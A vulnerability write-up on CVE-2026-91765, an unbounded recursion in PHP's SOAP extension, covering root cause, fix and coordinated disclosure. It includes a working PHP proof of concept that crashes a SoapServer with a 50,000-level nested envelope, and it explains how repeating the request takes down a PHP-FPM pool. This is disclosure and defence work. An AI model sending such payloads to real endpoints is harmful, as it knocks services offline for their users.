← Research ledger
HighCVE-2026-91765CVSS 7.5DoS / Unbounded recursionC / ext-soapFixed in 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11· 7 min read

One request, fifty thousand nests: crashing every PHP SOAP server

A housekeeping helper in ext/soap walks the request's XML tree the naive way — one C stack frame per nesting level, no depth limit, no iteration. An unauthenticated POST with fifty thousand nested elements fits in a few kilobytes on the wire and ends with the PHP worker on the floor.

By Denis Rostilov & Alexander Rostilov, ExPatch Vulnerability Research·Coordinated disclosure via GitHub Security Advisories
Scope

Analysis of PHP's ext/soap (SoapServer request path). Affected: PHP <8.2.34, <8.3.35, <8.4.26, <8.5.11; fixed in those releases. Published as GHSA-rgrp-mwpx-f6rm under coordinated disclosure. Reported by ExPatch-LLC; remediation by alexandre-daubois.

Summary

Every PHP application that exposes a SoapServer endpoint parses the request body twice: first libxml2 builds the DOM, then PHP's own cleanup_xml_node() walks that tree to strip blank text nodes, comments and other insignificant markup. That second walk is recursive — one nested element, one stack frame — and nothing anywhere caps how deep the document may go.

An attacker needs no credentials, no WSDL interaction and no special server configuration: a single POST of tens of thousands of nested elements exhausts the worker's stack and kills the process with SIGSEGV. Under PHP-FPM, repeating the request drains the entire worker pool and takes the endpoint offline. The bug is CVE-2026-91765 (GHSA-rgrp-mwpx-f6rm), scored CVSS 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) — network-reachable, no privileges, availability only.

Root cause

The vulnerable path is the one every SoapServer request takes. SoapServer::handle() reads the request body from php://input and hands it to soap_xmlParseFile(), which — after libxml2 finishes parsing — unconditionally calls cleanup_xml_node() on the resulting document:

SoapServer::handle()                          // ext/soap/soap.c — every SOAP request
  └─► soap_xmlParseFile("php://input")       // ext/soap/php_xml.c — libxml2 builds the DOM
        └─► cleanup_xml_node(doc)              // ext/soap/php_xml.c:39 — the walk below
              └─► cleanup_xml_node(trav)        // one C stack frame per nesting level
                    └─► …                        // × 50,000 — until the stack is gone

The helper itself, verbatim from ext/soap/php_xml.c:

/* removes all empty text, comments and other insignificant nodes */
static void cleanup_xml_node(xmlNodePtr node)
{
    xmlNodePtr trav;
    xmlNodePtr del = NULL;

    trav = node->children;
    while (trav != NULL) {
        if (del != NULL) {
            xmlUnlinkNode(del);
            xmlFreeNode(del);
            del = NULL;
        }
        if (trav->type == XML_TEXT_NODE) {
            if (is_blank(trav->content)) {
                del = trav;
            }
        } else if ((trav->type != XML_ELEMENT_NODE) &&
                   (trav->type != XML_CDATA_SECTION_NODE)) {
            del = trav;
        } else if (trav->children != NULL) {
            cleanup_xml_node(trav);   // recursion: depth = XML nesting, no limit        }
        trav = trav->next;
    }
    if (del != NULL) {
        xmlUnlinkNode(del);
        xmlFreeNode(del);
    }
}

Two details make this reachable in practice. First, the recursion happens after libxml2 has accepted the document, so the parser's own tolerance is the only gate — and the same file opens that gate wide: soap_xmlParse_ex() sets ctxt->options |= XML_PARSE_HUGE;, lifting libxml2's default 256-level nesting cap. A 50,000-deep document parses fine and is then handed to a cleanup routine that consumes roughly one C stack frame per level. Second, the sibling entry point soap_xmlParseMemory() has the very same cleanup_xml_node() call commented out in the source — so the reachable path really is the php://input one every server request uses.

And cleanup_xml_node() is not alone. The same attacker-controlled tree drives two more unbounded recursions inside ext/soap:

  • master_to_zval_int() in ext/soap/php_encoding.c — decodes the document into zvals and follows href references recursively; an attacker can drive it into deep href chains or outright cycles;
  • get_node_with_attribute_recursive_ex() in ext/soap/php_xml.c — the WSDL document search, recursive per nesting level in exactly the same way.

One structural assumption — "XML is never that deep" — repeated three times across the extension.

Exploitation

The PoC is almost disappointingly small. Build an envelope whose body is <a> nested 50,000 times and POST it to any SoapServer endpoint:

<?php
$depth = 50000;   // one stack frame per level — the worker's stack loses
$body  = '<?xml version="1.0" encoding="UTF-8"?>';
$body .= '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">';
$body .= '<SOAP-ENV:Body>';
$body .= str_repeat('<a>', $depth) . str_repeat('</a>', $depth);$body .= '</SOAP-ENV:Body></SOAP-ENV:Envelope>';

$ctx = stream_context_create(['http' => [
    'method'  => 'POST',
    'header'  => "Content-Type: text/xml; charset=utf-8\r\n"
              . "SOAPAction: \"\"\r\n",
    'content' => $body,
]]);
file_get_contents('http://target.example/soap.php', false, $ctx);
// server side: SIGSEGV inside cleanup_xml_node()

The body looks large in memory but is perfectly repetitive, so with ordinary HTTP gzip it compresses to a few kilobytes on the wire — this is not a bandwidth attack, it fits through any sane request-size limit that accepts compressed bodies, and even uncompressed it is well under a megabyte. No WSDL interaction, no authentication, no special configuration: the request dies inside cleanup_xml_node() before the application code ever runs. The same document shape, pointed at the decode or WSDL paths, exercises the master_to_zval_int() and get_node_with_attribute_recursive_ex() recursions — the project's regression tests cover all three.

Impact

The crash is a stack exhaustion: the kernel delivers SIGSEGV when the recursion runs past the mapped stack, and the PHP worker dies on the spot. A single unauthenticated HTTP request costs one worker. Under PHP-FPM — the standard deployment — the pool has dozens of workers, so an attacker simply repeats the request: each one kills a worker mid-request, the master process respawns it, and a modest request stream keeps the entire pool in a crash-respawn loop. The endpoint goes offline for everyone, at a cost of a few kilobytes per kill.

Honest scoping

This is a denial of service, full stop. The attacker controls that the process crashes, not where it crashes: stack exhaustion via deep recursion does not hand over the instruction pointer, and we make no claim of memory corruption leading to code execution. What makes it High anyway is the shape of the exposure — unauthenticated, network-facing, one tiny request per worker, and present in every PHP build with ext/soap enabled across four supported release lines. Any SOAP endpoint on the internet was one POST away from going down.

The fix

The remediation, developed by alexandre-daubois and shipped in PHP 8.2.34, 8.3.35, 8.4.26 and 8.5.11, attacks the assumption rather than the symptom:

  • A hard depth budget. SOAP_MAX_XML_DEPTH (2048) caps document nesting; anything deeper is refused before traversal begins.
  • Iteration instead of recursion. cleanup_xml_node() and the WSDL search in get_node_with_attribute_recursive_ex() were rewritten as iterative traversals — depth no longer costs stack.
  • Decode-depth tracking. SOAP_MAX_DECODE_DEPTH bounds the master_to_zval_int() path, with the depth tracked in SOAP globals, so malicious href chains and cycles are rejected instead of followed forever.
/* the fix, in one sketch */
#define SOAP_MAX_XML_DEPTH 2048   // deeper documents refused before traversal
- cleanup_xml_node(trav);        // unbounded recursion, one frame per level
+ /* iterative traversal; decode depth tracked in SOAP globals, */
+ /* href chains/cycles rejected at SOAP_MAX_DECODE_DEPTH      */

Three regression tests ship with the fix and double as the official reproductions: ext/soap/tests/GHSA-rgrp-mwpx-f6rm.phpt (the deep-document crash), GHSA-rgrp-mwpx-f6rm-href-chain.phpt and GHSA-rgrp-mwpx-f6rm-href-cycle.phpt (the decode-path recursions).

Disclosure timeline

  • The unbounded recursions were found during an ExPatch audit of ext/soap's request path and confirmed with a crashing PoC against a stock SoapServer.
  • Reported privately to the php-src security team via GitHub Security Advisories.
  • Remediation developed by alexandre-daubois: depth limits, iterative rewrites, decode-depth tracking, plus the three regression tests.
  • Fix shipped in PHP 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11.
  • CVE-2026-91765 published as GHSA-rgrp-mwpx-f6rm; ExPatch-LLC credited as reporter.
  • 2026-09-25 — this writeup.

References